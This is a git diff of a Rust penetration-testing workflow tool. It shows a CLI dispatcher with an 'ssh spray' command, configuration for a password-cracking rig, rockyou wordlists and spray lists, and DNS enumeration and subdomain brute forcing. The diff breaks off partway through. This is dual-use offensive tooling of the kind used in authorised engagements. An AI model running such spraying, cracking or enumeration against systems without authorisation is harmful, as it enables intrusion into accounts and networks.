"switch to work projects" | "switch work" => {let mut project_load_res = project_controls::swith_to_work(&config_path); if project_load_res.is_some(){projects.clear();for project in project_load_res.unwrap(){projects.push(project);}}; return None;},
|
||||||
|
"ssh spray" | "sshs" | "spray ssh" => {exploit::ssh_spray(None, None, None, get_user_input("spraying with an ssh key?").contains("y")); return None;},
|
||||||
|
"show settings" | "print settings" | "shset" | "pset" => {configuration::print_settings(&settings); return None},
|
||||||
|
"parse net view" | "pnv" => {info_controls::parse_net_view(&active_project); return None;},
|
||||||
|
_ => {help(None); println!("\n\n unknown command."); return None;}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn print_banner(banner: &str){
|
||||||
|
print!("{}", banner.custom_color((255,165,0)));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn cli(mut projects: &mut Vec<Project>, config_path: &PathBuf) {
|
||||||
|
let mut threads = Vec::new();
|
||||||
|
let mut loopize = true;
|
||||||
|
let mut work_loaded = true;
|
||||||
|
let mut workspace_config_path = config_path.clone();
|
||||||
|
let mut workspace_settings_path = config_path.clone();
|
||||||
|
workspace_config_path.pop();
|
||||||
|
workspace_settings_path.pop();
|
||||||
|
let mut project_conf_path = config_path.clone();
|
||||||
|
let mut success_message = String::new();
|
||||||
|
project_conf_path.pop();
|
||||||
|
project_conf_path.push("projects.work");
|
||||||
|
let worksapces_in_use = project_conf_path.exists();
|
||||||
|
if worksapces_in_use{
|
||||||
|
work_loaded = get_user_input("is thie loading your work projects?").to_lowercase().contains("y");
|
||||||
|
}
|
||||||
|
let banner = "
|
||||||
|
,,,;;::ccccc::;;;::c::;,;::cccccllc::::::;:::;;;;,,;,'',,;,,;;;;;;;:;;;;;,,,,,,,,,,,'''''',,,,,,''''
|
||||||
|
,;;;::ccccc::::::ccc:;;;:ccccccclc::ccccccc::;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,,,,,,,,,'''''''''',,,,,''
|
||||||
|
,;;:::ccc:cc:::ccc:::::::ccccclcccllccccllc::::::;;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,''''''''...'',,,,'
|
||||||
|
,;;:::c::ccc::cc::::::::cclollllllolllllccccc::cc:::::;;;;;;;;;;;;;;;;;;,,,,,,,,,,'''''''''''..'',,,
|
||||||
|
,;::::::ccc::cc::::::ccloodollooooollllcccccc:llc::::::;;;;;;:;;;;;;;;;;;,,,,,,,,,,''''''''''''''',,
|
||||||
|
,;:::::c:::c::::ccccloddxxddxxddddodollllccclclcccccc:::::::::::::::;;;;;;;;,,,,,,,,,'''''''''''''',
|
||||||
|
;;:::::::c::c::clllodxxO0OKX0kkOkkxxxxxdooooolcccccccc:::::::cllc::::::::;;;;;,,,,,,,,,,'''''''''',,
|
||||||
|
;:::::c:cc::cclolclokO0KXNNX00KKK0O0KOxdxxdooccccclllccccccccdkdlcccccllcc::;;;;;;;;,,,,,,,,,,,',,,,
|
||||||
|
::::::cc::::coxdlllok00KNWNXXX0KXKOKNOkO0kddocccllllllccccclx0Kkodddoodddoollc::;;;;;;;;;,,,,,,,,,,,
|
||||||
|
:::::::c:::clkkodooxxkO0KX0xookKKkkKNKO0KkdoodolcllllollolldKNNXKKXKKKKKK0Okxdocc:cc:::;;;;;,,,,,,,,
|
||||||
|
::cc::cc::cldxllolodxxdoddc'.,okkxOXXOdxkxolkOdlllllllldkdokXNNNNNNNNX0kxollcc:::::cclc::;;;;;;,,,,,
|
||||||
|
:::::::cccldko:,.';cc:;:;....;clllOXOxxOkocoK0xooddollx0Odd0XNNNNNX0Oxdolcccc::;;;;;;:cllc:;;:;,,,,,
|
||||||
|
;;::c:::ccldkl;'...,''''....',;,';dxdkkdc;cONKxxOOOxddOXOdx0XXNNWNOdddxkOOOOkdllc:;,,,;cool:;;;;;,,;
|
||||||
|
,;;::;;::llco:,'..''..,.......''.';:ldl;,,:xXNOOXXX0xdkOOddkXNNWWWX00KXNNX0kxddddol:,''';lol:;;:;;,;
|
||||||
|
,,,;;;;;:coc;;'..;;. .,,;'.......':dxdc;ldc,l00xkXNKxodkkkkk0XNWWMWWWNXKOxdooolooool:;'..,lol::::;;;
|
||||||
|
',,,;;;;:cllc;,..',. ','. .....;odoo:;co:.'ldldOOx::x0KXX0kk0XNWWWXOxdoooollllllllcc:'..':lc:::;;;
|
||||||
|
',,,;;;;;:cccc:,. . ..;cccccc:,,''.',,:l:;;:oOXXKOOOkxOXNNNXOxddooooollllllllc,....:c:::;;;
|
||||||
|
''',,,;;;;;;;cll,.. .. .':lc:c:;,,......,,;:;;:cokkxxO00O0KXNNN0kxkkkxddoollllllll:'...':::::::
|
||||||
|
.''',,,,,,,,,;:c:,.. ..'. ..','',;;'........',,;:;:::cdxxxddkKXXXKKKKXXXXXX0kdoloolllol;....,;:::::
|
||||||
|
..'''',,'',,,;;:::;..... ............... .'.....,;,',:ldc;:ldOKKK00KNWWWNNXK0xoooodooooo:'...';;;:;;
|
||||||
|
....'''''',,;;::cll:,''...... . ..........'...,;;l:,,;oddkOOKNWWWWNX0kdodxxxxdddooc,...',;;;;,
|
||||||
|
......''''',;::cloodddol;. ...........',.;;,,',:cxdd0KXXKKKXKOkxxkkkxdddooc,...';;,,,,
|
||||||
|
........''',;:clloddxxdo:'. .. ...........''.'',;c:;cccodddk0KX0OOkxddddddo:...';;;;,,'
|
||||||
|
..........',;:cclodxxkxdl:,.. ... ......'....'..':c,..'.,c,,,.,cxkO00Okxdddddc'..';:;;;,,'
|
||||||
|
..........',;;:cloodxkkkdol:'. . ... ...... ......';c'.'...:;',;,'..,lxO00Oxxxo:'...,::;;,,,,
|
||||||
|
...........',;;:clodxkOOkxdol;. .. .. ... ....',::'.''.',.........'oxdxxxdl;...';::;;;,,''
|
||||||
|
............',;:clodxkkOOOxddo;. ...... ........',,',................';:clc;,...';::;;,,,'''
|
||||||
|
............',;:cldxkkOkkkxdddo;. ..... .........,'...........'''','.',,'''....,cc:;;,,'''..
|
||||||
|
.............';:cldxxkkkkxddddxl,. .... .;c;'...................',;;cc;'...';clolc:;,,'''...
|
||||||
|
............'';clodxkkkkkxddddddl' ... .:lc;'................. ....',,''';lxkxdlc:;,'''....
|
||||||
|
........',,;:;coddxkOOOOOkxxddddd:. ... ..,''.................. . ..;cdkkkkxoc:;,'''.....
|
||||||
|
......',;::cllodxkkOOOOOOkxxxddddc. ... ..,;,'................... .. .':odO0Okdl:;,'''......
|
||||||
|
.....',;:cloddxxkOOOOOOOkkxxdoooo;. .. ......................... .';cokOOxlc:;,''.......
|
||||||
|
....,;:clodxxkkOOOkO0OOOOxdlcc;;,...... .';,................. ...',:ldxxxdlc;,''.......
|
||||||
|
...,:clodooxkkkO0OxO00OOxo:;;,. ........ .''.......... .. .. ..,,,;:codxxdlc:;,'.......
|
||||||
|
'',;clodolokOkxkOkkO00Oko:;;;. ..... .. .,,........'. .. .. .. ..........;:codocclc:,,'......
|
||||||
|
___ __ __ ___ __ ___ __
|
||||||
|
| | |__ | / ` / \\ |\\/| |__ |__| /\\ / ` |__/ |__ |__)
|
||||||
|
|/\\| |___ |___ \\__, \\__/ | | |___ | | /~~\\ \\__, | \\ |___ | \\
|
||||||
|
|
||||||
|
__ ___ ___ __ __
|
||||||
|
/ _` |__ | |__) | | |\\ | | |\\ | / _`
|
||||||
|
\\__> |___ | | |/\\| | \\| | | \\| \\__>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
";
|
||||||
|
print_banner(banner);
|
||||||
|
while loopize{
|
||||||
|
let settings = configuration::load_config(config_path);
|
||||||
|
project_controls::save_projects(&projects, &config_path);
|
||||||
|
let active_project_res = get_active_project(&projects);
|
||||||
|
if active_project_res.is_none(){
|
||||||
|
println!("{}", "failed to get active project!".red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let active_project = active_project_res.unwrap();
|
||||||
|
let current_information = format!("
|
||||||
|
Active Project: {}, {}
|
||||||
|
Project Status: {}
|
||||||
|
Files Folder: {}
|
||||||
|
Notes Folder: {}
|
||||||
|
Boxname: {}
|
||||||
|
Obsidian URI: {}
|
||||||
|
|
||||||
|
for help enter help or ?. for information about a specific command enter help (command)
|
||||||
|
|
||||||
|
|
||||||
|
", active_project.customer.green(), active_project.project_name.green(), active_project.stage.green(), active_project.files_folder.display().to_string().green(), active_project.notes_folder.display().to_string().green(), active_project.boxname.green(), "coming soon".red());
|
||||||
|
load_config(config_path);
|
||||||
|
|
||||||
|
let prompt = format!("\n{}:{}\nCommand?", active_project.customer.custom_color((255,165,0)), active_project.project_name.custom_color((255,165,0)));
|
||||||
|
let command = get_user_input(&prompt);
|
||||||
|
if command.contains("switch work") || command.contains("switch to work projects"){
|
||||||
|
work_loaded = true;
|
||||||
|
}
|
||||||
|
else if command.contains("switch personal") || command.contains("switch to personal projects"){
|
||||||
|
work_loaded = false;
|
||||||
|
}
|
||||||
|
match command.as_str(){
|
||||||
|
"exit" => loopize = false,
|
||||||
|
"menu" | "main menu" | "mm" => {let menu_thread_option = menu::main_menu(&mut projects, config_path.clone(), &settings);},
|
||||||
|
"print banner" | "banner" => print_banner(banner),
|
||||||
|
"clear" | "clear screen" | "cls" => {clear().unwrap(); print_banner(banner);},
|
||||||
|
"list threads" | "threads" | "lst" => println!("There are {} threads still running.", threads.len()),
|
||||||
|
"info" => println!("{}", current_information),
|
||||||
|
"test_table" => {let mut lines = Vec::new(); lines.push("column1||column2||column3||column4".to_owned()); lines.push("thing1||thing2||thing3||thing4".to_owned()); lines.push("ttttttttttttttttthing5||thing6||thing7||thing8".to_owned()); tableize(lines);}
|
||||||
|
_ => {let thread_option = run_command(command, &settings, config_path, &mut projects); if thread_option.is_some(){threads.push(thread_option.unwrap());};},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
project_controls::save_projects(&projects, &config_path);
|
||||||
|
if get_user_input("do you want to stop all the boxes?").contains("y"){
|
||||||
|
box_controls::stop_all_boxes(&projects);
|
||||||
|
}
|
||||||
|
print_informational("saving workspace projects...");
|
||||||
|
let worksapces_in_use = project_conf_path.exists();
|
||||||
|
if worksapces_in_use{
|
||||||
|
if work_loaded{
|
||||||
|
print_informational("saving projects.work");
|
||||||
|
workspace_config_path.push("projects.work");
|
||||||
|
workspace_settings_path.push("conf.working");
|
||||||
|
success_message = String::from("projects.conf saved to projects.work\nconf saved to conf.working");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_informational("saving projects.personal");
|
||||||
|
workspace_config_path.push("projects.personal");
|
||||||
|
workspace_settings_path.push("conf.personal");
|
||||||
|
success_message = String::from("projects.conf saved to projects.personal\nconf saved to conf.personal");
|
||||||
|
}
|
||||||
|
let open_res = OpenOptions::new().create(true).write(true).open(workspace_config_path);
|
||||||
|
if open_res.is_err(){
|
||||||
|
print_error("error opeing workspace config file!", open_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
project_conf_path.pop();
|
||||||
|
project_conf_path.push("projects.conf");
|
||||||
|
let mut workspace_config_file = open_res.unwrap();
|
||||||
|
let projects_read_res = read_to_string(project_conf_path);
|
||||||
|
if projects_read_res.is_ok(){
|
||||||
|
let project_string = projects_read_res.unwrap();
|
||||||
|
let write_res = write!(workspace_config_file, "{}", project_string);
|
||||||
|
if write_res.is_err(){
|
||||||
|
print_error("error writing workspace config file!", write_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_error("error reading projects config file!", projects_read_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let remove_res = fs::remove_file(&workspace_settings_path);
|
||||||
|
if remove_res.is_err(){
|
||||||
|
print_error("error removing to save over workspace settings!", remove_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
remove_res.unwrap();
|
||||||
|
let copy_res = fs::copy(config_path, &workspace_settings_path);
|
||||||
|
if copy_res.is_err(){
|
||||||
|
print_error("error copying worksapce settings!", copy_res.err().unwrap().to_string());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
print_success(success_message);
|
||||||
|
}
|
||||||
|
if threads.len() > 0{
|
||||||
|
println!("closing threads...");
|
||||||
|
println!("note this will hang until all threads have completed");
|
||||||
|
println!("please make sure to close all spawned programs such as cobalt strike and bloodhound.");
|
||||||
|
for thread in threads{
|
||||||
|
let _ = thread.join();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if worksapces_in_use{
|
||||||
|
print_success("projects saved to projects.conf, workspace projects updated, workspace settings saved, threads finished. pentest_tool OUT!");
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
print_success("projects saved to projects.conf, threads finished. pentest_tool OUT!");
|
||||||
|
}
|
||||||
|
}
|
||||||
188
pentest_tool/src/configuration.rs
Normal file
188
pentest_tool/src/configuration.rs
Normal file
@@ -0,0 +1,188 @@
|
|||||||
|
use std::{collections::HashMap, path::PathBuf};
|
||||||
|
use std::fs::read_to_string;
|
||||||
|
use std::io::Write;
|
||||||
|
use colored::Colorize;
|
||||||
|
use crate::{get_user_input, open_overwrite, tableize};
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn generate_tool_config(config_dir: &PathBuf){
|
||||||
|
let mut config_file_path = config_dir.clone();
|
||||||
|
println!("{}", config_file_path.display());
|
||||||
|
let mut current_config = String::new();
|
||||||
|
let current_config_read_res = read_to_string(&config_file_path);
|
||||||
|
if current_config_read_res.is_ok(){
|
||||||
|
current_config = current_config_read_res.unwrap();
|
||||||
|
println!("current configuration loaded!");
|
||||||
|
}
|
||||||
|
print!("{}", current_config);
|
||||||
|
let mut project_base_folder = PathBuf::new();
|
||||||
|
let mut project_base_notes = PathBuf::new();
|
||||||
|
let mut tools_folder = PathBuf::new();
|
||||||
|
let mut terminal_command = String::new();
|
||||||
|
let mut box_template = String::new();
|
||||||
|
let mut cracking_rig = String::new();
|
||||||
|
let mut rockyou = String::new();
|
||||||
|
let mut rule = String::new();
|
||||||
|
let mut upcoming_files = PathBuf::new();
|
||||||
|
let mut upcoming_notes = PathBuf::new();
|
||||||
|
let mut pass_spray_file = PathBuf::new();
|
||||||
|
let mut fingerprint = false;
|
||||||
|
let mut vault_name = String::new();
|
||||||
|
let settings: Vec<&str> = current_config.split("\n").collect();
|
||||||
|
for line in settings{
|
||||||
|
if line.len() > 1{
|
||||||
|
let setting_vec: Vec<&str> = line.split(":").collect();
|
||||||
|
match setting_vec[0]{
|
||||||
|
"Project_files" => project_base_folder.push(setting_vec[1].trim_end()),
|
||||||
|
"Project_notes" => project_base_notes.push(setting_vec[1].trim_end()),
|
||||||
|
"tools_folder" => tools_folder.push(setting_vec[1].trim_end()),
|
||||||
|
"upcoming_files" => upcoming_files.push(setting_vec[1].trim_end()),
|
||||||
|
"upcoming_notes" => upcoming_notes.push(setting_vec[1].trim_end()),
|
||||||
|
"box_template" => box_template = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"terminal" => terminal_command = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"cracking_rig" => cracking_rig = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"rockyou_location" => rockyou = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"rule_location" => rule = setting_vec[1].trim_end().to_owned(),
|
||||||
|
"pass_file"=> pass_spray_file.push(setting_vec[1]),
|
||||||
|
"fingerprint" => {if setting_vec[1].contains("y"){fingerprint = true}},
|
||||||
|
"vault_name" => vault_name = setting_vec[1].trim_end().to_owned(),
|
||||||
|
_ => println!("error unknown setting: {}", setting_vec[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("1.) recreate entire configuration");
|
||||||
|
println!("2.) modify one setting");
|
||||||
|
if get_user_input("Selection?").contains("2"){
|
||||||
|
print!("
|
||||||
|
1 .) project_files
|
||||||
|
2 .) project_notes
|
||||||
|
3 .) tools_folder
|
||||||
|
4 .) upcoming_files
|
||||||
|
5 .) upcoming_notes
|
||||||
|
6 .) box_template
|
||||||
|
7 .) terminal
|
||||||
|
8 .) cracking_rig
|
||||||
|
9 .) rockyou_location
|
||||||
|
10.) rule_location
|
||||||
|
11.) pass_file
|
||||||
|
12.) fingerprint
|
||||||
|
13.) vault_name
|
||||||
|
");
|
||||||
|
match get_user_input("which setting would you like to modify?").as_str(){
|
||||||
|
"1" => {project_base_folder.clear(); project_base_folder.push(get_user_input("full path to the base project files folder?"));},
|
||||||
|
"2" => {project_base_notes.clear(); project_base_notes.push(get_user_input("full path to the base project notes folder"));},
|
||||||
|
"3" => {tools_folder.clear(); tools_folder.push(get_user_input("full path to your custom tools folder?"));},
|
||||||
|
"4" => {upcoming_files.clear(); upcoming_files.push(get_user_input("full path to your upcoming projects folder"));},
|
||||||
|
"5" => {upcoming_notes.clear(); upcoming_notes.push(get_user_input("full path to your upcoming project nots folder"));},
|
||||||
|
"6" => {box_template = get_user_input("name of your distrobox template?")},
|
||||||
|
"7" => {terminal_command = get_user_input("comand to run your terminal while executing a specific command, ex: konsole -e ")},
|
||||||
|
"8" => {cracking_rig = get_user_input("username and address of your personal cracking rig, example pyro@crackingrig or pyro@192.168.1.10?")},
|
||||||
|
"9" => {rockyou = get_user_input("location of rockyou.txt on your cracking rig?")},
|
||||||
|
"10" => {rule = get_user_input("location of the one rule on your crakcing rig?")},
|
||||||
|
"11" => {pass_spray_file.clear(); pass_spray_file.push(get_user_input("location of your password spray list file?"));},
|
||||||
|
"12" => {fingerprint = get_user_input("will you be using fingerprint authentication in your distroboxes?").to_lowercase().contains("y")},
|
||||||
|
"13" => {vault_name = get_user_input("obsidian vault name?")},
|
||||||
|
_ => {println!("unknown selection, please try again...");}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
project_base_folder = PathBuf::from(get_user_input("path to store your active projects?"));
|
||||||
|
project_base_notes = PathBuf::from(get_user_input("path to store your active project notes?"));
|
||||||
|
upcoming_files = PathBuf::from(get_user_input("path to store your upcomming projects?"));
|
||||||
|
upcoming_notes = PathBuf::from(get_user_input("path to store your upcomming project notes?"));
|
||||||
|
tools_folder = PathBuf::from(get_user_input("path where you store your custom tools (like from github and places)?"));
|
||||||
|
box_template = get_user_input("Name of the distrobox you want to use as a template?");
|
||||||
|
cracking_rig = String::from("nobody@nothing");
|
||||||
|
rockyou = String::from("n/a");
|
||||||
|
rule = String::from("n/a");
|
||||||
|
let cracking_rig_response = get_user_input("do you have a separate machine to crack passwords on? (not the ambush cracking rig)");
|
||||||
|
if cracking_rig_response.to_lowercase().contains("y"){
|
||||||
|
let rig_ip = get_user_input("ip address or hostname of your cracking rig?");
|
||||||
|
let rig_user = get_user_input("username to log into your cracking rig with?");
|
||||||
|
rockyou = get_user_input("location of rockyou.txt on the cracking rig?");
|
||||||
|
rule = get_user_input("location of one rule to rule them all on the cracking rig?");
|
||||||
|
cracking_rig = format!("{}@{}", rig_user, rig_ip);
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
println!("ok free loader");
|
||||||
|
}
|
||||||
|
fingerprint = get_user_input("will you be using fingerprint authentication for your distroboxes?").to_lowercase().contains("y");
|
||||||
|
terminal_command = get_user_input("command to launch your terminal, while executing a command, for example konsel -e ");
|
||||||
|
vault_name = get_user_input("the name of the vault you're going to use?");
|
||||||
|
}
|
||||||
|
let new_config = format!("
|
||||||
|
Project_files:{}
|
||||||
|
Project_notes:{}
|
||||||
|
tools_folder:{}
|
||||||
|
upcoming_files:{}
|
||||||
|
upcoming_notes:{}
|
||||||
|
box_template:{}
|
||||||
|
terminal:{}
|
||||||
|
cracking_rig:{}
|
||||||
|
rockyou_location:{}
|
||||||
|
rule_location:{}
|
||||||
|
pass_file:{}
|
||||||
|
fingerprint:{}
|
||||||
|
vault_name:{}
|
||||||
|
",project_base_folder.display(), project_base_notes.display(), tools_folder.display(), upcoming_files.display(), upcoming_notes.display(), box_template, terminal_command, cracking_rig, rockyou, rule, pass_spray_file.display(), fingerprint, vault_name);
|
||||||
|
println!("this will be the new config that will be saved:\n");
|
||||||
|
println!("{}", new_config);
|
||||||
|
if get_user_input("is this ok?").to_lowercase().contains("y"){
|
||||||
|
let config_file_res = open_overwrite(&config_file_path);
|
||||||
|
if config_file_res.is_none(){
|
||||||
|
println!("failed to open config file in overwrite mode... quitting... nothing was saved.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut config_file = config_file_res.unwrap();
|
||||||
|
let write_res= write!(config_file, "{}", new_config);
|
||||||
|
if write_res.is_err(){
|
||||||
|
let error = write_res.err().unwrap();
|
||||||
|
println!("{}","error writing config file!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
println!("nothing was saved...");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
write_res.unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
pub fn load_config(config: &PathBuf) -> HashMap<&'static str, String>{
|
||||||
|
let mut settings_map = HashMap::new();
|
||||||
|
let settings_string = read_to_string(&config).expect("error reading config file");
|
||||||
|
let settings: Vec<&str> = settings_string.split("\n").collect();
|
||||||
|
for line in settings{
|
||||||
|
if line.len() > 1{
|
||||||
|
let setting_vec: Vec<&str> = line.split(":").collect();
|
||||||
|
match setting_vec[0]{
|
||||||
|
"Project_files" => {settings_map.insert("project_files", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"Project_notes" => {settings_map.insert("project_notes", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"tools_folder" => {settings_map.insert("tools_folder",setting_vec[1].trim_end().to_owned());},
|
||||||
|
"upcoming_files" => {settings_map.insert("upcoming_files",setting_vec[1].trim_end().to_owned());},
|
||||||
|
"upcoming_notes" => {settings_map.insert("upcoming_notes",setting_vec[1].trim_end().to_owned());},
|
||||||
|
"box_template" => {settings_map.insert("box_template", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"terminal" => {settings_map.insert("terminal_command", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"cracking_rig" => {settings_map.insert("cracking_rig", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"rockyou_location" => {settings_map.insert("rockyou", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"rule_location" => {settings_map.insert("rule", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"pass_file"=> {settings_map.insert("pass_spray_file", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"fingerprint" => {settings_map.insert("fingerprint", setting_vec[1].trim_end().to_owned());},
|
||||||
|
"vault_name" => {settings_map.insert("vault_name", setting_vec[1].trim_end().to_owned());},
|
||||||
|
_ => println!("error unknown setting: {}", setting_vec[0])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return settings_map;
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn print_settings(settings: &HashMap<&str, String>){
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
lines.push(String::from("Settings||value"));
|
||||||
|
for setting in settings.keys(){
|
||||||
|
let new_line = format!("{}||{}", setting, settings[setting]);
|
||||||
|
lines.push(new_line);
|
||||||
|
}
|
||||||
|
tableize(lines);
|
||||||
|
}
|
||||||
398
pentest_tool/src/enumeration.rs
Normal file
398
pentest_tool/src/enumeration.rs
Normal file
@@ -0,0 +1,398 @@
|
|||||||
|
use std::fs::{read_to_string, remove_file, OpenOptions};
|
||||||
|
use std::process::Command;
|
||||||
|
use std::thread::JoinHandle;
|
||||||
|
use std::thread::{spawn, sleep};
|
||||||
|
use std::io::Write;
|
||||||
|
use std::time::Duration;
|
||||||
|
use colored::Colorize;
|
||||||
|
use dns_lookup::lookup_host;
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::open_append;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::print_informational;
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn run_dns_enumeration(project: &Project, given_domains: Option<&Vec<String>>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||||
|
let notes_folder = project.notes_folder.clone();
|
||||||
|
let mut enumeration = notes_folder.clone();
|
||||||
|
enumeration.push("enumeration.md");
|
||||||
|
let enumeration_file_res = open_append(&enumeration);
|
||||||
|
if enumeration_file_res.is_none(){
|
||||||
|
println!("error opening enumeration_file!");
|
||||||
|
println!("try creating it manually.");
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||||
|
let mut domaind = Vec::new();
|
||||||
|
if given_domains.is_none(){
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("domain to add? enter DONE in all caps when you're finsihed");
|
||||||
|
match domain.as_str(){
|
||||||
|
"DONE" => break,
|
||||||
|
_ => domaind.push(domain),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
for domain in given_domains.unwrap(){
|
||||||
|
domaind.push(domain.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let working_project = project.clone();
|
||||||
|
let dns_handle = spawn(move || {
|
||||||
|
for domain in &domaind{
|
||||||
|
let output_res = Command::new("distrobox")
|
||||||
|
.arg("enter")
|
||||||
|
.arg("--root")
|
||||||
|
.arg(working_project.boxname.to_owned())
|
||||||
|
.arg("--")
|
||||||
|
.arg("dnsrecon")
|
||||||
|
.arg("-d")
|
||||||
|
.arg(domain)
|
||||||
|
.arg("-c")
|
||||||
|
.arg("dns_temp.csv")
|
||||||
|
.output();
|
||||||
|
if output_res.is_err(){
|
||||||
|
let error = output_res.err().unwrap();
|
||||||
|
println!("{}", "From DNS Enumeration Thread: error running dnsrecon in the project's distrobox!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
println!("sleping for 10 seconds to allow for sudo password input.");
|
||||||
|
sleep(Duration::from_secs(10));
|
||||||
|
let output_string_res = read_to_string("dns_temp.csv");
|
||||||
|
if output_string_res.is_err(){
|
||||||
|
let error = output_string_res.err().unwrap();
|
||||||
|
println!("From DNS Enumeration Thread: error reading output data!");
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
print_success("DNS Enumeration Done, Writing to file...");
|
||||||
|
let output_string = output_string_res.unwrap();
|
||||||
|
let lines: Vec<&str> = output_string.split("\n").collect();
|
||||||
|
let mut out_data = String::new();
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("# DNS Enumeration\n");
|
||||||
|
out_data.push_str("## DNS Records\n");
|
||||||
|
}
|
||||||
|
let mut data_vec = Vec::new();
|
||||||
|
let mut first_line = true;
|
||||||
|
for line in lines{
|
||||||
|
if first_line == true{
|
||||||
|
first_line = false;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
if line.len() > 1{
|
||||||
|
let words: Vec<&str> = line.split(",").collect();
|
||||||
|
let domain_name = words[2].to_owned();
|
||||||
|
let domain_type = words[1].to_owned();
|
||||||
|
let mut data = String::new();
|
||||||
|
if words[3].len() > 2{
|
||||||
|
data = words[3].to_owned();
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
data = words[6].to_owned();
|
||||||
|
}
|
||||||
|
let data_line = format!("| {} | {} | {} |", domain_name, domain_type, data);
|
||||||
|
data_vec.push(data_line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let domain_header = format!("#### {}\n", domain);
|
||||||
|
out_data.push_str(&domain_header);
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("#### DNS Records\n");
|
||||||
|
}
|
||||||
|
out_data.push_str("| Domain name | Record type | data |\n");
|
||||||
|
out_data.push_str("| ----------- | ----------- | ---- |\n");
|
||||||
|
for thang in data_vec{
|
||||||
|
let out_line = format!("{}\n", thang);
|
||||||
|
out_data.push_str(&out_line);
|
||||||
|
}
|
||||||
|
if standalone{
|
||||||
|
out_data.push_str("\n---\n");
|
||||||
|
}
|
||||||
|
write!(enumeration_file, "{}", &out_data).unwrap();
|
||||||
|
print_success("DNS Records: Gathered | Notes: Written | DNS Record Thread OUT!");
|
||||||
|
let remove_res = remove_file("dns_temp.csv");
|
||||||
|
if remove_res.is_err(){
|
||||||
|
println!("From DNS Enumeration Thread: error removing temporay data file!");
|
||||||
|
println!("From DNS Enumeration Thread: please manually delete dns_temp.csv");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return Some(dns_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
|
pub fn bruteforce_subs(project: &Project, given_domains: Option<&Vec<String>>, given_wordlist: Option<String>, standalone: bool) -> Option<JoinHandle<()>>{
|
||||||
|
let mut enumeration_path = project.notes_folder.clone();
|
||||||
|
enumeration_path.push("enumeration.md");
|
||||||
|
let enumeration_file_res = OpenOptions::new().append(true).create(true).open(enumeration_path);
|
||||||
|
if enumeration_file_res.is_err(){
|
||||||
|
let error = enumeration_file_res.err().unwrap();
|
||||||
|
print_error("FROM GOBUSTER THREAD: error opening enumeration notes file!", error.to_string());
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let mut enumeration_file = enumeration_file_res.unwrap();
|
||||||
|
let mut domains = Vec::new();
|
||||||
|
if given_domains.is_none(){
|
||||||
|
loop{
|
||||||
|
let domain = get_user_input("Domain to add? Enter DONE in all caps when done.");
|
||||||
|
if domain == "DONE".to_owned(){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
domains.push(domain);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
for domain in given_domains.unwrap(){
|
||||||
|
domains.push(domain.to_owned());
|
||||||
|
};
|
||||||
|
}
|
||||||
|
let mut wordlist = String::new();
|
||||||
|
